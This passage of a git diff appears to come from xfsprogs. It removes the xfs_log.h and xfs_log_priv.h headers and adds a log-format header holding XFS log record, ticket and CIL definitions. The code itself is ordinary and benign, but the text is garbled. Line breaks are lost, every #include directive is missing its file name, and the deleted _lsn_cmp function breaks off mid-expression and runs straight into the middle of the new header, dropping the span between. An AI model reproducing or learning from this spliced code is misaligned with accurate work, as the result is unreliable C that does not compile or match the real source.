xfs_metadump.h \ xfs_mount.h xfs_quota.h xfs_rtalloc.h xfs_sb.h xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h diff --git a/include/libxfs.h b/include/libxfs.h index e776211..c9918cd 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -59,6 +59,8 @@ #include #include +#include + #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #endif @@ -613,8 +615,6 @@ extern unsigned long libxfs_physmem(void); /* in kilobytes */ #include #include #include -#include -#include #define XFS_INOBT_IS_FREE_DISK(rp,i) \ ((be64_to_cpu((rp)->ir_free) & XFS_INOBT_MASK(i)) != 0) diff --git a/include/libxlog.h b/include/libxlog.h index ff711e9..961c4b5 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -53,12 +53,6 @@ struct xlog { #include #include -typedef union { - xlog_rec_header_t hic_header; - xlog_rec_ext_header_t hic_xheader; - char hic_sector[XLOG_HEADER_SIZE]; -} xlog_in_core_2_t; - /* * macros mapping kernel code to user code */ diff --git a/include/xfs_log.h b/include/xfs_log.h deleted file mode 100644 index 70cc014..0000000 --- a/include/xfs_log.h +++ /dev/null @@ -1,190 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_LOG_H__ -#define __XFS_LOG_H__ - -/* get lsn fields */ -#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) -#define BLOCK_LSN(lsn) ((uint)(lsn)) - -/* this is used in a spot where we might otherwise double-endian-flip */ -#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) - -#ifdef __KERNEL__ -/* - * By comparing each component, we don't have to worry about extra - * endian issues in treating two 32 bit numbers as one 64 bit number - */ -static inline xfs_lsn_t _lsn_cmp(xfs_lsn_t lsn1, xfs_lsn_t lsn2) -{ - if (CYCLE_LSN(lsn1) != CYCLE_LSN(lsn2)) - return (CYCLE_LSN(lsn1)l_mp->m_sb.sb_logsunit-1) / \ + (log)->l_mp->m_sb.sb_logsunit) +#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) + +#define XLOG_HEADER_SIZE 512 + +#define XLOG_REC_SHIFT(log) \ + BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) +#define XLOG_TOTAL_REC_SHIFT(log) \ + BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) + +/* get lsn fields */ +#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) +#define BLOCK_LSN(lsn) ((uint)(lsn)) + +/* this is used in a spot where we might otherwise double-endian-flip */ +#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) + +static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) +{ + return ((xfs_lsn_t)cycle << 32) | block; +} + +static inline uint xlog_get_cycle(char *ptr) +{ + if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) + return be32_to_cpu(*((__be32 *)ptr + 1)); + else + return be32_to_cpu(*(__be32 *)ptr); +} + +/* Log Clients */ +#define XFS_TRANSACTION 0x69 +#define XFS_VOLUME 0x2 +#define XFS_LOG 0xaa + +#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ + +/* Region types for iovec's i_type */ +#define XLOG_REG_TYPE_BFORMAT 1 +#define XLOG_REG_TYPE_BCHUNK 2 +#define XLOG_REG_TYPE_EFI_FORMAT 3 +#define XLOG_REG_TYPE_EFD_FORMAT 4 +#define XLOG_REG_TYPE_IFORMAT 5 +#define XLOG_REG_TYPE_ICORE 6 +#define XLOG_REG_TYPE_IEXT 7 +#define XLOG_REG_TYPE_IBROOT 8 +#define XLOG_REG_TYPE_ILOCAL 9 +#define XLOG_REG_TYPE_IATTR_EXT 10 +#define XLOG_REG_TYPE_IATTR_BROOT 11 +#define XLOG_REG_TYPE_IATTR_LOCAL 12 +#define XLOG_REG_TYPE_QFORMAT 13 +#define XLOG_REG_TYPE_DQUOT 14 +#define XLOG_REG_TYPE_QUOTAOFF 15 +#define XLOG_REG_TYPE_LRHEADER 16 +#define XLOG_REG_TYPE_UNMOUNT 17 +#define XLOG_REG_TYPE_COMMIT 18 +#define XLOG_REG_TYPE_TRANSHDR 19 +#define XLOG_REG_TYPE_ICREATE 20 +#define XLOG_REG_TYPE_MAX 20 + +/* + * Flags to log operation header + * + * The first write of a new transaction will be preceded with a start + * record, XLOG_START_TRANS. Once a transaction is committed, a commit + * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into + * the remainder of the current active in-core log, it is split up into + * multiple regions. Each partial region will be marked with a + * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. + * + */ +#define XLOG_START_TRANS 0x01 /* Start a new transaction */ +#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ +#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ +#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ +#define XLOG_END_TRANS 0x10 /* End a continued transaction */ +#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ + + +typedef struct xlog_op_header { + __be32 oh_tid; /* transaction id of operation : 4 b */ + __be32 oh_len; /* bytes in data region : 4 b */ + __u8 oh_clientid; /* who sent me this : 1 b */ + __u8 oh_flags; /* : 1 b */ + __u16 oh_res2; /* 32 bit align : 2 b */ +} xlog_op_header_t; + + +/* valid values for h_fmt */ +#define XLOG_FMT_UNKNOWN 0 +#define XLOG_FMT_LINUX_LE 1 +#define XLOG_FMT_LINUX_BE 2 +#define XLOG_FMT_IRIX_BE 3 + +/* our fmt */ +#ifdef XFS_NATIVE_HOST +#define XLOG_FMT XLOG_FMT_LINUX_BE +#else +#define XLOG_FMT XLOG_FMT_LINUX_LE +#endif + +typedef struct xlog_rec_header { + __be32 h_magicno; /* log record (LR) identifier : 4 */ + __be32 h_cycle; /* write cycle of log : 4 */ + __be32 h_version; /* LR version : 4 */ + __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ + __be64 h_lsn; /* lsn of this LR : 8 */ + __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ + __le32 h_crc; /* crc of log record : 4 */ + __be32 h_prev_block; /* block number to previous LR : 4 */ + __be32 h_num_logops; /* number of log operations in this LR : 4 */ + __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; + /* new fields */ + __be32 h_fmt; /* format of log record : 4 */ + uuid_t h_fs_uuid; /* uuid of FS : 16 */ + __be32 h_size; /* iclog size : 4 */ +} xlog_rec_header_t; + +typedef struct xlog_rec_ext_header { + __be32 xh_cycle; /* write cycle of log : 4 */ + __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ +} xlog_rec_ext_header_t; + +/* + * Quite misnamed, because this union lays out the actual on-disk log buffer. + */ +typedef union xlog_in_core2 { + xlog_rec_header_t hic_header; + xlog_rec_ext_header_t hic_xheader; + char hic_sector[XLOG_HEADER_SIZE]; +} xlog_in_core_2_t; + +/* not an on-disk structure, but needed by log recovery in userspace */ +typedef struct xfs_log_iovec { + void *i_addr; /* beginning address of region */ + int i_len; /* length in bytes of region */ + uint i_type; /* type of region */ +} xfs_log_iovec_t; + +#endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/include/xfs_log_priv.h b/include/xfs_log_priv.h deleted file mode 100644 index 16d8d12..0000000 --- a/include/xfs_log_priv.h +++ /dev/null @@ -1,692 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_LOG_PRIV_H__ -#define __XFS_LOG_PRIV_H__ - -struct xfs_buf; -struct xlog; -struct xlog_ticket; -struct xfs_mount; - -/* - * Macros, structures, prototypes for internal log manager use. - */ - -#define XLOG_MIN_ICLOGS 2 -#define XLOG_MAX_ICLOGS 8 -#define XLOG_HEADER_MAGIC_NUM 0xFEEDbabe /* Invalid cycle number */ -#define XLOG_VERSION_1 1 -#define XLOG_VERSION_2 2 /* Large IClogs, Log sunit */ -#define XLOG_VERSION_OKBITS (XLOG_VERSION_1 | XLOG_VERSION_2) -#define XLOG_MIN_RECORD_BSIZE (16*1024) /* eventually 32k */ -#define XLOG_BIG_RECORD_BSIZE (32*1024) /* 32k buffers */ -#define XLOG_MAX_RECORD_BSIZE (256*1024) -#define XLOG_HEADER_CYCLE_SIZE (32*1024) /* cycle data in header */ -#define XLOG_MIN_RECORD_BSHIFT 14 /* 16384 == 1 << 14 */ -#define XLOG_BIG_RECORD_BSHIFT 15 /* 32k == 1 << 15 */ -#define XLOG_MAX_RECORD_BSHIFT 18 /* 256k == 1 << 18 */ -#define XLOG_BTOLSUNIT(log, b) (((b)+(log)->l_mp->m_sb.sb_logsunit-1) / \ - (log)->l_mp->m_sb.sb_logsunit) -#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) - -#define XLOG_HEADER_SIZE 512 - -#define XLOG_REC_SHIFT(log) \ - BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) -#define XLOG_TOTAL_REC_SHIFT(log) \ - BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) - -static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) -{ - return ((xfs_lsn_t)cycle << 32) | block; -} - -static inline uint xlog_get_cycle(char *ptr) -{ - if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) - return be32_to_cpu(*((__be32 *)ptr + 1)); - else - return be32_to_cpu(*(__be32 *)ptr); -} - -#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) - -#ifdef __KERNEL__ - -/* - * get client id from packed copy. - * - * this hack is here because the xlog_pack code copies four bytes - * of xlog_op_header containing the fields oh_clientid, oh_flags - * and oh_res2 into the packed copy. - * - * later on this four byte chunk is treated as an int and the - * client id is pulled out. - * - * this has endian issues, of course. - */ -static inline uint xlog_get_client_id(__be32 i) -{ - return be32_to_cpu(i) >> 24; -} - -/* - * In core log state - */ -#define XLOG_STATE_ACTIVE 0x0001 /* Current IC log being written to */ -#define XLOG_STATE_WANT_SYNC 0x0002 /* Want to sync this iclog; no more writes */ -#define XLOG_STATE_SYNCING 0x0004 /* This IC log is syncing */ -#define XLOG_STATE_DONE_SYNC 0x0008 /* Done syncing to disk */ -#define XLOG_STATE_DO_CALLBACK \ - 0x0010 /* Process callback functions */ -#define XLOG_STATE_CALLBACK 0x0020 /* Callback functions now */ -#define XLOG_STATE_DIRTY 0x0040 /* Dirty IC log, not ready for ACTIVE status*/ -#define XLOG_STATE_IOERROR 0x0080 /* IO error happened in sync'ing log */ -#define XLOG_STATE_ALL 0x7FFF /* All possible valid flags */ -#define XLOG_STATE_NOTUSED 0x8000 /* This IC log not being used */ -#endif /* __KERNEL__ */ - -/* - * Flags to log operation header - * - * The first write of a new transaction will be preceded with a start - * record, XLOG_START_TRANS. Once a transaction is committed, a commit - * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into - * the remainder of the current active in-core log, it is split up into - * multiple regions. Each partial region will be marked with a - * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. - * - */ -#define XLOG_START_TRANS 0x01 /* Start a new transaction */ -#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ -#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ -#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ -#define XLOG_END_TRANS 0x10 /* End a continued transaction */ -#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ - -#ifdef __KERNEL__ -/* - * Flags to log ticket - */ -#define XLOG_TIC_INITED 0x1 /* has been initialized */ -#define XLOG_TIC_PERM_RESERV 0x2 /* permanent reservation */ - -#define XLOG_TIC_FLAGS \ - { XLOG_TIC_INITED, "XLOG_TIC_INITED" }, \ - { XLOG_TIC_PERM_RESERV, "XLOG_TIC_PERM_RESERV" } - -#endif /* __KERNEL__ */ - -#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ - -/* - * Flags for log structure - */ -#define XLOG_ACTIVE_RECOVERY 0x2 /* in the middle of recovery */ -#define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ -#define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being - shutdown */ -#define XLOG_TAIL_WARN 0x10 /* log tail verify warning issued */ - -typedef __uint32_t xlog_tid_t; - -#ifdef __KERNEL__ -/* - * Below are states for covering allocation transactions. - * By covering, we mean changing the h_tail_lsn in the last on-disk - * log write such that no allocation transactions will be re-done during - * recovery after a system crash. Recovery starts at the last on-disk - * log write. - * - * These states are used to insert dummy log entries to cover - * space allocation transactions which can undo non-transactional changes - * after a crash. Writes to a file with space - * already allocated do not result in any transactions. Allocations - * might include space beyond the EOF. So if we just push the EOF a - * little, the last transaction for the file could contain the wrong - * size. If there is no file system activity, after an allocation - * transaction, and the system crashes, the allocation transaction - * will get replayed and the file will be truncated. This could - * be hours/days/... after the allocation occurred. - * - * The fix for this is to do two dummy transactions when the - * system is idle. We need two dummy transaction because the h_tail_lsn - * in the log record header needs to point beyond the last possible - * non-dummy transaction. The first dummy changes the h_tail_lsn to - * the first transaction before the dummy. The second dummy causes - * h_tail_lsn to point to the first dummy. Recovery starts at h_tail_lsn. - * - * These dummy transactions get committed when everything - * is idle (after there has been some activity). - * - * There are 5 states used to control this. - * - * IDLE -- no logging has been done on the file system or - * we are done covering previous transactions. - * NEED -- logging has occurred and we need a dummy transaction - * when the log becomes idle. - * DONE -- we were in the NEED state and have committed a dummy - * transaction. - * NEED2 -- we detected that a dummy transaction has gone to the - * on disk log with no other transactions. - * DONE2 -- we committed a dummy transaction when in the NEED2 state. - * - * There are two places where we switch states: - * - * 1.) In xfs_sync, when we detect an idle log and are in NEED or NEED2. - * We commit the dummy transaction and switch to DONE or DONE2, - * respectively. In all other states, we don't do anything. - * - * 2.) When we finish writing the on-disk log (xlog_state_clean_log). - * - * No matter what state we are in, if this isn't the dummy - * transaction going out, the next state is NEED. - * So, if we aren't in the DONE or DONE2 states, the next state - * is NEED. We can't be finishing a write of the dummy record - * unless it was committed and the state switched to DONE or DONE2. - * - * If we are in the DONE state and this was a write of the - * dummy transaction, we move to NEED2. - * - * If we are in the DONE2 state and this was a write of the - * dummy transaction, we move to IDLE. - * - * - * Writing only one dummy transaction can get appended to - * one file space allocation. When this happens, the log recovery - * code replays the space allocation and a file could be truncated. - * This is why we have the NEED2 and DONE2 states before going idle. - */ - -#define XLOG_STATE_COVER_IDLE 0 -#define XLOG_STATE_COVER_NEED 1 -#define XLOG_STATE_COVER_DONE 2 -#define XLOG_STATE_COVER_NEED2 3 -#define XLOG_STATE_COVER_DONE2 4 - -#define XLOG_COVER_OPS 5 - - -/* Ticket reservation region accounting */ -#define XLOG_TIC_LEN_MAX 15 - -/* - * Reservation region - * As would be stored in xfs_log_iovec but without the i_addr which - * we don't care about. - */ -typedef struct xlog_res { - uint r_len; /* region length :4 */ - uint r_type; /* region's transaction type :4 */ -} xlog_res_t; - -typedef struct xlog_ticket { - struct list_head t_queue; /* reserve/write queue */ - struct task_struct *t_task; /* task that owns this ticket */ - xlog_tid_t t_tid; /* transaction identifier : 4 */ - atomic_t t_ref; /* ticket reference count : 4 */ - int t_curr_res; /* current reservation in bytes : 4 */ - int t_unit_res; /* unit reservation in bytes : 4 */ - char t_ocnt; /* original count : 1 */ - char t_cnt; /* current count : 1 */ - char t_clientid; /* who does this belong to; : 1 */ - char t_flags; /* properties of reservation : 1 */ - uint t_trans_type; /* transaction type : 4 */ - - /* reservation array fields */ - uint t_res_num; /* num in array : 4 */ - uint t_res_num_ophdrs; /* num op hdrs : 4 */ - uint t_res_arr_sum; /* array sum : 4 */ - uint t_res_o_flow; /* sum overflow : 4 */ - xlog_res_t t_res_arr[XLOG_TIC_LEN_MAX]; /* array of res : 8 * 15 */ -} xlog_ticket_t; - -#endif - - -typedef struct xlog_op_header { - __be32 oh_tid; /* transaction id of operation : 4 b */ - __be32 oh_len; /* bytes in data region : 4 b */ - __u8 oh_clientid; /* who sent me this : 1 b */ - __u8 oh_flags; /* : 1 b */ - __u16 oh_res2; /* 32 bit align : 2 b */ -} xlog_op_header_t; - - -/* valid values for h_fmt */ -#define XLOG_FMT_UNKNOWN 0 -#define XLOG_FMT_LINUX_LE 1 -#define XLOG_FMT_LINUX_BE 2 -#define XLOG_FMT_IRIX_BE 3 - -/* our fmt */ -#ifdef XFS_NATIVE_HOST -#define XLOG_FMT XLOG_FMT_LINUX_BE -#else -#define XLOG_FMT XLOG_FMT_LINUX_LE -#endif - -typedef struct xlog_rec_header { - __be32 h_magicno; /* log record (LR) identifier : 4 */ - __be32 h_cycle; /* write cycle of log : 4 */ - __be32 h_version; /* LR version : 4 */ - __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ - __be64 h_lsn; /* lsn of this LR : 8 */ - __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ - __le32 h_crc; /* crc of log record : 4 */ - __be32 h_prev_block; /* block number to previous LR : 4 */ - __be32 h_num_logops; /* number of log operations in this LR : 4 */ - __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; - /* new fields */ - __be32 h_fmt; /* format of log record : 4 */ - uuid_t h_fs_uuid; /* uuid of FS : 16 */ - __be32 h_size; /* iclog size : 4 */ -} xlog_rec_header_t; - -typedef struct xlog_rec_ext_header { - __be32 xh_cycle; /* write cycle of log : 4 */ - __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ -} xlog_rec_ext_header_t; - -#ifdef __KERNEL__ - -/* - * Quite misnamed, because this union lays out the actual on-disk log buffer. - */ -typedef union xlog_in_core2 { - xlog_rec_header_t hic_header; - xlog_rec_ext_header_t hic_xheader; - char hic_sector[XLOG_HEADER_SIZE]; -} xlog_in_core_2_t; - -/* - * - A log record header is 512 bytes. There is plenty of room to grow the - * xlog_rec_header_t into the reserved space. - * - ic_data follows, so a write to disk can start at the beginning of - * the iclog. - * - ic_forcewait is used to implement synchronous forcing of the iclog to disk. - * - ic_next is the pointer to the next iclog in the ring. - * - ic_bp is a pointer to the buffer used to write this incore log to disk. - * - ic_log is a pointer back to the global log structure. - * - ic_callback is a linked list of callback function/argument pairs to be - * called after an iclog finishes writing. - * - ic_size is the full size of the header plus data. - * - ic_offset is the current number of bytes written to in this iclog. - * - ic_refcnt is bumped when someone is writing to the log. - * - ic_state is the state of the iclog. - * - * Because of cacheline contention on large machines, we need to separate - * various resources onto different cachelines. To start with, make the - * structure cacheline aligned. The following fields can be contended on - * by independent processes: - * - * - ic_callback_* - * - ic_refcnt - * - fields protected by the global l_icloglock - * - * so we need to ensure that these fields are located in separate cachelines. - * We'll put all the read-only and l_icloglock fields in the first cacheline, - * and move everything else out to subsequent cachelines. - */ -typedef struct xlog_in_core { - wait_queue_head_t ic_force_wait; - wait_queue_head_t ic_write_wait; - struct xlog_in_core *ic_next; - struct xlog_in_core *ic_prev; - struct xfs_buf *ic_bp; - struct xlog *ic_log; - int ic_size; - int ic_offset; - int ic_bwritecnt; - unsigned short ic_state; - char *ic_datap; /* pointer to iclog data */ - - /* Callback structures need their own cacheline */ - spinlock_t ic_callback_lock ____cacheline_aligned_in_smp; - xfs_log_callback_t *ic_callback; - xfs_log_callback_t **ic_callback_tail; - - /* reference counts need their own cacheline */ - atomic_t ic_refcnt ____cacheline_aligned_in_smp; - xlog_in_core_2_t *ic_data; -#define ic_header ic_data->hic_header -} xlog_in_core_t; - -/* - * The CIL context is used to aggregate per-transaction details as well be - * passed to the iclog for checkpoint post-commit processing. After being - * passed to the iclog, another context needs to be allocated for tracking the - * next set of transactions to be aggregated into a checkpoint. - */ -struct xfs_cil; - -struct xfs_cil_ctx { - struct xfs_cil *cil; - xfs_lsn_t sequence; /* chkpt sequence # */ - xfs_lsn_t start_lsn; /* first LSN of chkpt commit */ - xfs_lsn_t commit_lsn; /* chkpt commit record lsn */ - struct xlog_ticket *ticket; /* chkpt ticket */ - int nvecs; /* number of regions */ - int space_used; /* aggregate size of regions */ - struct list_head busy_extents; /* busy extents in chkpt */ - struct xfs_log_vec *lv_chain; /* logvecs being pushed */ - xfs_log_callback_t log_cb; /* completion callback hook. */ - struct list_head committing; /* ctx committing list */ -}; - -/* - * Committed Item List structure - * - * This structure is used to track log items that have been committed but not - * yet written into the log. It is used only when the delayed logging mount - * option is enabled. - * - * This structure tracks the list of committing checkpoint contexts so - * we can avoid the problem of having to hold out new transactions during a - * flush until we have a the commit record LSN of the checkpoint. We can - * traverse the list of committing contexts in xlog_cil_push_lsn() to find a - * sequence match and extract the commit LSN directly from there. If the - * checkpoint is still in the process of committing, we can block waiting for - * the commit LSN to be determined as well. This should make synchronous - * operations almost as efficient as the old logging methods. - */ -struct xfs_cil { - struct xlog *xc_log; - struct list_head xc_cil; - spinlock_t xc_cil_lock; - struct xfs_cil_ctx *xc_ctx; - struct rw_semaphore xc_ctx_lock; - struct list_head xc_committing; - wait_queue_head_t xc_commit_wait; - xfs_lsn_t xc_current_sequence; - struct work_struct xc_push_work; - xfs_lsn_t xc_push_seq; -}; - -/* - * The amount of log space we allow the CIL to aggregate is difficult to size. - * Whatever we choose, we have to make sure we can get a reservation for the - * log space effectively, that it is large enough to capture sufficient - * relogging to reduce log buffer IO significantly, but it is not too large for - * the log or induces too much latency when writing out through the iclogs. We - * track both space consumed and the number of vectors in the checkpoint - * context, so we need to decide which to use for limiting. - * - * Every log buffer we write out during a push needs a header reserved, which - * is at least one sector and more for v2 logs. Hence we need a reservation of - * at least 512 bytes per 32k of log space just for the LR headers. That means - * 16KB of reservation per megabyte of delayed logging space we will consume, - * plus various headers. The number of headers will vary based on the num of - * io vectors, so limiting on a specific number of vectors is going to result - * in transactions of varying size. IOWs, it is more consistent to track and - * limit space consumed in the log rather than by the number of objects being - * logged in order to prevent checkpoint ticket overruns. - * - * Further, use of static reservations through the log grant mechanism is - * problematic. It introduces a lot of complexity (e.g. reserve grant vs write - * grant) and a significant deadlock potential because regranting write space - * can block on log pushes. Hence if we have to regrant log space during a log - * push, we can deadlock. - * - * However, we can avoid this by use of a dynamic "reservation stealing" - * technique during transaction commit whereby unused reservation space in the - * transaction ticket is transferred to the CIL ctx commit ticket to cover the - * space needed by the checkpoint transaction. This means that we never need to - * specifically reserve space for the CIL checkpoint transaction, nor do we - * need to regrant space once the checkpoint completes. This also means the - * checkpoint transaction ticket is specific to the checkpoint context, rather - * than the CIL itself. - * - * With dynamic reservations, we can effectively make up arbitrary limits for - * the checkpoint size so long as they don't violate any other size rules. - * Recovery imposes a rule that no transaction exceed half the log, so we are - * limited by that. Furthermore, the log transaction reservation subsystem - * tries to keep 25% of the log free, so we need to keep below that limit or we - * risk running out of free log space to start any new transactions. - * - * In order to keep background CIL push efficient, we will set a lower - * threshold at which background pushing is attempted without blocking current - * transaction commits. A separate, higher bound defines when CIL pushes are - * enforced to ensure we stay within our maximum checkpoint size bounds. - * threshold, yet give us plenty of space for aggregation on large logs. - */ -#define XLOG_CIL_SPACE_LIMIT(log) (log->l_logsize >> 3) -#define XLOG_CIL_HARD_SPACE_LIMIT(log) (3 * (log->l_logsize >> 4)) - -/* - * ticket grant locks, queues and accounting have their own cachlines - * as these are quite hot and can be operated on concurrently. - */ -struct xlog_grant_head { - spinlock_t lock ____cacheline_aligned_in_smp; - struct list_head waiters; - atomic64_t grant; -}; - -/* - * The reservation head lsn is not made up of a cycle number and block number. - * Instead, it uses a cycle number and byte number. Logs don't expect to - * overflow 31 bits worth of byte offset, so using a byte number will mean - * that round off problems won't occur when releasing partial reservations. - */ -struct xlog { - /* The following fields don't need locking */ - struct xfs_mount *l_mp; /* mount point */ - struct xfs_ail *l_ailp; /* AIL log is working with */ - struct xfs_cil *l_cilp; /* CIL log is working with */ - struct xfs_buf *l_xbuf; /* extra buffer for log - * wrapping */ - struct xfs_buftarg *l_targ; /* buftarg of log */ - struct delayed_work l_work; /* background flush work */ - uint l_flags; - uint l_quotaoffs_flag; /* XFS_DQ_*, for QUOTAOFFs */ - struct list_head *l_buf_cancel_table; - int l_iclog_hsize; /* size of iclog header */ - int l_iclog_heads; /* # of iclog header sectors */ - uint l_sectBBsize; /* sector size in BBs (2^n) */ - int l_iclog_size; /* size of log in bytes */ - int l_iclog_size_log; /* log power size of log */ - int l_iclog_bufs; /* number of iclog buffers */ - xfs_daddr_t l_logBBstart; /* start block of log */ - int l_logsize; /* size of log in bytes */ - int l_logBBsize; /* size of log in BB chunks */ - - /* The following block of fields are changed while holding icloglock */ - wait_queue_head_t l_flush_wait ____cacheline_aligned_in_smp; - /* waiting for iclog flush */ - int l_covered_state;/* state of "covering disk - * log entries" */ - xlog_in_core_t *l_iclog; /* head log queue */ - spinlock_t l_icloglock; /* grab to change iclog state */ - int l_curr_cycle; /* Cycle number of log writes */ - int l_prev_cycle; /* Cycle number before last - * block increment */ - int l_curr_block; /* current logical log block */ - int l_prev_block; /* previous logical log block */ - - /* - * l_last_sync_lsn and l_tail_lsn are atomics so they can be set and - * read without needing to hold specific locks. To avoid operations - * contending with other hot objects, place each of them on a separate - * cacheline. - */ - /* lsn of last LR on disk */ - atomic64_t l_last_sync_lsn ____cacheline_aligned_in_smp; - /* lsn of 1st LR with unflushed * buffers */ - atomic64_t l_tail_lsn ____cacheline_aligned_in_smp; - - struct xlog_grant_head l_reserve_head; - struct xlog_grant_head l_write_head; - - /* The following field are used for debugging; need to hold icloglock */ -#ifdef DEBUG - char *l_iclog_bak[XLOG_MAX_ICLOGS]; -#endif - -}; - -#define XLOG_BUF_CANCEL_BUCKET(log, blkno) \ - ((log)->l_buf_cancel_table + ((__uint64_t)blkno % XLOG_BC_TABLE_SIZE)) - -#define XLOG_FORCED_SHUTDOWN(log) ((log)->l_flags & XLOG_IO_ERROR) - -/* common routines */ -extern int -xlog_recover( - struct xlog *log); -extern int -xlog_recover_finish( - struct xlog *log); - -extern __le32 xlog_cksum(struct xlog *log, struct xlog_rec_header *rhead, - char *dp, int size); - -extern kmem_zone_t *xfs_log_ticket_zone; -struct xlog_ticket * -xlog_ticket_alloc( - struct xlog *log, - int unit_bytes, - int count, - char client, - bool permanent, - xfs_km_flags_t alloc_flags); - - -static inline void -xlog_write_adv_cnt(void **ptr, int *len, int *off, size_t bytes) -{ - *ptr += bytes; - *len -= bytes; - *off += bytes; -} - -void xlog_print_tic_res(struct xfs_mount *mp, struct xlog_ticket *ticket); -int -xlog_write( - struct xlog *log, - struct xfs_log_vec *log_vector, - struct xlog_ticket *tic, - xfs_lsn_t *start_lsn, - struct xlog_in_core **commit_iclog, - uint flags); - -/* - * When we crack an atomic LSN, we sample it first so that the value will not - * change while we are cracking it into the component values. This means we - * will always get consistent component values to work from. This should always - * be used to sample and crack LSNs that are stored and updated in atomic - * variables. - */ -static inline void -xlog_crack_atomic_lsn(atomic64_t *lsn, uint *cycle, uint *block) -{ - xfs_lsn_t val = atomic64_read(lsn); - - *cycle = CYCLE_LSN(val); - *block = BLOCK_LSN(val); -} - -/* - * Calculate and assign a value to an atomic LSN variable from component pieces. - */ -static inline void -xlog_assign_atomic_lsn(atomic64_t *lsn, uint cycle, uint block) -{ - atomic64_set(lsn, xlog_assign_lsn(cycle, block)); -} - -/* - * When we crack the grant head, we sample it first so that the value will not - * change while we are cracking it into the component values. This means we - * will always get consistent component values to work from. - */ -static inline void -xlog_crack_grant_head_val(int64_t val, int *cycle, int *space) -{ - *cycle = val >> 32; - *space = val & 0xffffffff; -} - -static inline void -xlog_crack_grant_head(atomic64_t *head, int *cycle, int *space) -{ - xlog_crack_grant_head_val(atomic64_read(head), cycle, space); -} - -static inline int64_t -xlog_assign_grant_head_val(int cycle, int space) -{ - return ((int64_t)cycle << 32) | space; -} - -static inline void -xlog_assign_grant_head(atomic64_t *head, int cycle, int space) -{ - atomic64_set(head, xlog_assign_grant_head_val(cycle, space)); -} - -/* - * Committed Item List interfaces - */ -int -xlog_cil_init(struct xlog *log); -void -xlog_cil_init_post_recovery(struct xlog *log); -void -xlog_cil_destroy(struct xlog *log); - -/* - * CIL force routines - */ 